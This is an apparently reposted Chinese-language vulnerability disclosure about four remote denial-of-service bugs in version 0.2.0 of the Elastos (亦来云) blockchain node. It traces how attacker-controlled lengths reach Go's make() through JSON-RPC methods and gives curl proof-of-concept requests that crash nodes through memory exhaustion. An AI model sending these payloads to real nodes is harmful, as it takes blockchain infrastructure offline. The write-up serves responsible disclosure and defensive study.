内容简介:关于区块链安全的资料,目前互联网上主要侧重于钱包安全、智能合约安全、交易所安全等,而很少有关于公链安全的资料,公链是以上一切业务应用的基础,本文将介绍公链中比较常见的一种的DoS漏洞。公链客户端与其他传统软件的客户端没有太大区别,在传统软件上会遇到的问题在公链客户端中都有可能遇到。所以要让一个客户端发生Crash的常见方法有:
关于区块链安全的资料,目前互联网上主要侧重于钱包安全、智能合约安全、交易所安全等,而很少有关于公链安全的资料,公链是以上一切业务应用的基础,本文将介绍公链中比较常见的一种的DoS漏洞。
0x1 知识储备
公链客户端与其他传统软件的客户端没有太大区别,在传统软件上会遇到的问题在公链客户端中都有可能遇到。
所以要让一个客户端发生Crash的常见方法有:
-
使程序发生运行时异常,且这个异常没有被容错,例如 数组越界 、 除以0 、 内存溢出 等。
-
使系统环境不满足程序运行的要求,例如 创建大数组造成的OOM 、 无 限递归造成的OOM 等
-
多线程死锁
-
其他
公链节点可被轻易攻击下线的危害是巨大的,比如会使网络算力骤减,从而导致51%攻击等。
本文根据亦来云的这几个漏洞主要介绍的是由OOM所引起的Crash漏洞。
0x2 漏洞分析
本文主要对亦来云公链0.2.0的以下价值20ETH的4个漏洞进行分析:
DVP-2018-08809(Reward:5ETH)
DVP-2018-08813(Reward:5ETH)
DVP-2018-08817(Reward:5ETH)
DVP-2018-10793(Reward:5ETH)
DVP-2018-08809
servers/interfaces.go 漏洞代码片段:
func DiscreteMining(param Params) map[string]interface{} { if LocalPow == nil { return ResponsePack(PowServiceNotStarted, "") } count, ok := param.Uint("count") if !ok { return ResponsePack(InvalidParams, "") } ret := make([]string, count) blockHashes, err := LocalPow.DiscreteMining(uint32(count)) if err != nil { return ResponsePack(Error, err) } for i, hash := range blockHashes { ret[i] = ToReversedString(*hash) } return ResponsePack(Success, ret) }
根据以上代码可以发现 DiscreteMining 函数会接收一个 param 参数,并从 param 中取出一个值赋值给 count 变量。
然后 count 变量会被待会 make 函数中
通过官方文档了解到 make 函数是用于创建数组的,而数组的长度由第二个参数控制,理 论上只要第二个参数很大,就会产生一个占有大量内存的数组,从而导致OOM。
而 ma ke 函数的第二个参数可以通过 param 参数来控制,所以只要 param 参数是远程可控的,就可以远程使节点Crash了。
最终在 httpjsonrpc/server.go 中发 DiscreteMining 能通过rpc接口远程调用,而目前的客户端是默认开启rpc并绑定公网地址的,所以可以对公网上任意节点发送恶意包使其Crash。
StartRPCServer 函数代码片段:
func StartRPCServer() { mainMux = make(map[string]func(Params) map[string]interface{}) http.HandleFunc("/", Handle) //省略一段 // mining interfaces mainMux["togglemining"] = ToggleMining mainMux["discretemining"] = DiscreteMining err :=http.ListenAndServe(":"+strconv.Itoa(Parameters.HttpJsonPort), nil) if err != nil { log.Fatal("ListenAndServe: ", err.Error()) } }
PoC:
curl --data-binary '{"method":"discretemining","params":{"count":"99999999999999"}}' -H 'Content-Type:application/json' http://*.*.*.*:20333
漏洞复现:
DVP-2018-08813
core/payloadwithdrawfromsidechain.go 漏洞代码片段:
func (t *PayloadWithdrawFromSideChain) Deserialize(r io.Reader, version byte) error { height, err := common.ReadUint32(r) if err != nil { return errors.New("[PayloadWithdrawFromSideChain], BlockHeight deserialize failed.") } address, err := common.ReadVarString(r) if err != nil { return errors.New("[PayloadWithdrawFromSideChain], GenesisBlockAddress deserialize failed.") } length, err := common.ReadVarUint(r, 0) if err != nil { return errors.New("[PayloadWithdrawFromSideChain], SideChainTransactionHashes length deserialize failed") } t.SideChainTransactionHashes = nil t.SideChainTransactionHashes = make([]common.Uint256, length) for i := uint64(0); i < length; i++ { var hash common.Uint256 err := hash.Deserialize(r) if err != nil { return errors.New("[WithdrawFromSideChain], SideChainTransactionHashes deserialize failed.") } t.SideChainTransactionHashes[i] = hash } t.BlockHeight = height t.GenesisBlockAddress = address return nil}
这里同样是由于 make 函数的第二个参数由参数r控制,只要r可控就可以使 make 函数引发OOM,从而Crash。
在 servers/interface.go 中的 SendRawTransaction 函数中发现间接的调用了 Transaction 的 Deserialize 函数,具体如下:
func SendRawTransaction(param Params) map[string]interface{} { str, ok := param.String("data") if !ok { return ResponsePack(InvalidParams, "need a string parameter named data") } bys, err := HexStringToBytes(str) if err != nil { return ResponsePack(InvalidParams, "hex string to bytes error") } var txn Transaction err := txn.Deserialize(bytes.NewReader(bys)); err != nil { return ResponsePack(InvalidTransaction, "transaction deserialize error") } if errCode := VerifyAndSendTx(&txn); errCode != Success { return ResponsePack(errCode, errCode.Message()) } return ResponsePack(Success, ToReversedString(txn.Hash())) }
根据如上标红代码可以发现 SendRawTransaction 函数会先取RPC接口传来的 data 参数复制给变量 str ,然后变量 str 会转换为 bytes 复制给变量 bys ,最后 bys 变量会被带入 Transaction 的 Deserialize 函数中。
再看看 Transaction 的 Deserialize 函数:
func (tx *Transaction) Deserialize(r io.Reader) error { // tx deserialize if err := tx.DeserializeUnsigned(r); err != nil { //略 return nil } //略
参数r被带入了 Transaction 的 DeserializeUnsigned 函数中,继续跟踪一下:
func (tx *Transaction) DeserializeUnsigned(r io.Reader) error { //略 tx.Payload, err = GetPayload(tx.TxType) if err != nil { return err } err = tx.Payload.Deserialize(r, tx.PayloadVersion) //略 return nil }
func GetPayload(txType TransactionType) (Payload, error) { var p Payload switch txType { //略 case WithdrawFromSideChain: p = new(PayloadWithdrawFromSideChain) case TransferCrossChainAsset: p = new(PayloadTransferCrossChainAsset) default:return nil, errors.New("[Transaction], invalid transaction type.") } return p, nil }
在该函数中会先通过 GetPayload(tx.TxType) 来取到 tx.Payload ,然后会调用 tx.Payload 的 Deserialize 函数,只要能控制 Payload 的类型为 PayloadWithdrawFromSideChain ,就可以触发 PayloadWithdrawFromSideChain 的 Deserialize 函数,而 Transaction 是通过RPC接口远程传来的,所以tx对象的字段都是可控的。
最终的利用链:RPC的 SendRawTransaction 接口-> Transaction 的 Deserialize 函数-> Transaction 的 DeserializeUnsigned 函数->通过 GetPayload 取到取到 PayloadWithdrawFromSideChain 对象->调用其的 Deserialize 函数->触发 make ->OOM
PoC:
curl --data-binary '{"method":"sendrawtransaction","params":{"data":"0701100000000196ffffffffff"}}' -H 'Content-Type:application/json' http://*.*.*.*:20336
漏洞复现:
DVP-2018-08817
还是上面的 Deserialize 函数引起的OOM,不过触发点不同。
这次的触发点是在 servers/interfaces.go 中的 SubmitAuxBlock 函数中:
func SubmitAuxBlock(param Params) map[string]interface{} { blockHash, ok := param.String("blockhash") if !ok { return ResponsePack(InvalidParams, "parameter blockhash not found") } var msgAuxBlock *Block if msgAuxBlock, ok = LocalPow.MsgBlock.BlockData[blockHash]; !ok { log.Trace("[json-rpc:SubmitAuxBlock] block hash unknown", blockHash) return ResponsePack(InternalError, "block hash unknown") } auxPow, ok := param.String("auxpow") if !ok { return ResponsePack(InvalidParams, "parameter auxpow not found") } var aux aux.AuxPow buf, _ := HexStringToBytes(auxPow) if err := aux.Deserialize(bytes.NewReader(buf)); err != nil { log.Trace("[json-rpc:SubmitAuxBlock] auxpow deserialization failed", auxPow) return ResponsePack(InternalError, "auxpow deserialization failed") } //略 return ResponsePack(Success, true) }
根据如上代码可以发现,RPC接口传过来的 auxpow 参数经过转为 bytes 后会传入变量 buf ,最终变量 buf 会被带入 Deserialize 函数中,所以整个过程也是可控的,唯一不足的是这个触发点还需要提供另外一个参数 blockhash ,如果不提供这个参数或者提供有误的话会没法往下执行,不过好在正好还有一个 CreateAuxblock 函数,利用此函数可以创建一个 Auxblock 并得到它的 blockhash 。
PoC:
curl --data-binary '{"method":"createauxblock","params":{"paytoaddress":"0701100000000196ffffffffff"}}' -H 'Content-Type:application/json' http://*.*.*.*:20336 curl --data-binary '{"method":"submitauxblock","params":{"blockhash":"上个请求返回的blockhash","auxpow":"ffffffffffffffffff"}}' -H 'Content-Type:application/json' http://*.*.*.*:20336
漏洞复现:
DVP-2018-10793
最后这一个漏洞问题不是出在亦来云公链源码中,而是出在亦来云公链的官方依赖包( Elastos.ELA.Utility )中
common/serialize.go 漏洞代码片段:
func ReadVarBytes(reader io.Reader) ([]byte, error) { val, err := ReadVarUint(reader, 0) if err != nil { return nil, err } str, err := byteXReader(reader, val) if err != nil { return nil, err } return str, nil } func byteXReader(reader io.Reader, x uint64) ([]byte, error) { p := make([]byte, x) n, err := reader.Read(p) if n > 0 { return p[:], nil } return p, err }
ReadVarBytes 函数会从 reader 参数中取出一个数值给 val 变量, val 变量会被带入 byteXReader 函数 中,而 byteXReader 函数会将接收到的第二个参数带入 make 函数的第二个参数中,所以只要 reader 可控的话就能构造一段 payload 最终使 make 函数引起OOM。
由于这个函数在一个通用 工具 库中,所以理论上可以从很多地方触发,这个漏洞还是使用的是RPC接口的 SendRawTransaction 函数的 Deserialize 函数进行触发。
func (tx *Transaction) Deserialize(r io.Reader) error { //略 for i := uint64(0); i < count; i++ { var program Program if err := program.Deserialize(r); err != nil { return errors.New("transaction deserialize program error: " + err.Error()) } tx.Programs = append(tx.Programs, &program) } return nil }
然后调用到了 Program 的 Deserialize 函数:
func (p *Program) Deserialize(w io.Reader) error { parameter, err := ReadVarBytes(w) if err != nil { return errors.New("Execute Program Deserialize Parameter failed.") } p.Parameter = parameter code, err := ReadVarBytes(w) if err != nil { return errors.New("Execute Program Deserialize Code failed.") } p.Code = code return nil }
然后就调用到了依赖库中的 ReadVarBytes 函数,该函数会调用触发OOM的 byteXReader 函数,数据都是一路从RPC接口传过来的,所以是可控的。
那么利用链就很明了了:RPC的 SendRawTransaction 接口-> Transaction 的 Deserialize 函数-> Progr am 的 Deserialize 函数->依赖库中的 ReadVarBytes 函数-> byteXReader 函数->触发make->OOM
PoC:
curl --data-binary '{"method":"sendrawtransaction","params":{"data":"0301ffffffffff"}}' -H 'Content-Type:application/json' http://*.*.*.*:20336
漏洞复现:
0x3 总结
Crash漏洞其实在传统安全领域已经非常常见了,比如Fuzzing浏览器,在遇到某些特殊输入的时候浏览器就会发生Crash,不过仅仅是Crash的话在传统客户端领域,危害其实并不是很大。
但在区块链中便不同了,任何一个微小的问题都可以被无限放大,例如:整型溢出漏洞导致超额铸币。所以就Crash漏洞来说,在区块链的公链中也是属于高危类型的漏洞,因为公链节点既是客户端 也是服务端,属于整个公链生态的基础设施。
目前公链安全由于其门槛相对较高,所以研究的人也比较少,DVP基金会将秉着负责任的披露原则逐步公开行业内的经典漏洞案例,为区块链安全领域添砖加瓦,同时我们也希望更多的白帽子参与到区块链安全这个还处于蛮荒阶段的领域中来。
以上所述就是小编给大家介绍的《公链安全之亦来云多个远程DoS漏洞详解》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 【技术分享】WebSocket漏洞与防护详解
- 【技术分享】WebSocket漏洞与防护详解
- CVE-2019-11477漏洞详解详玩
- 详解NSURLCache缓存引发的安全漏洞
- 详解Laravel 5.8 SQL注入漏洞
- CVE-2019-11477漏洞详解详玩(删)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Unreal Engine 4 Scripting with C++ Cookbook
Sherif, William、Stephen Whittle / 2016-10-24
Unreal Engine 4 (UE4) is a complete suite of game development tools made by game developers, for game developers. With more than 100 practical recipes, this book is a guide showcasing techniques to us......一起来看看 《Unreal Engine 4 Scripting with C++ Cookbook》 这本书的介绍吧!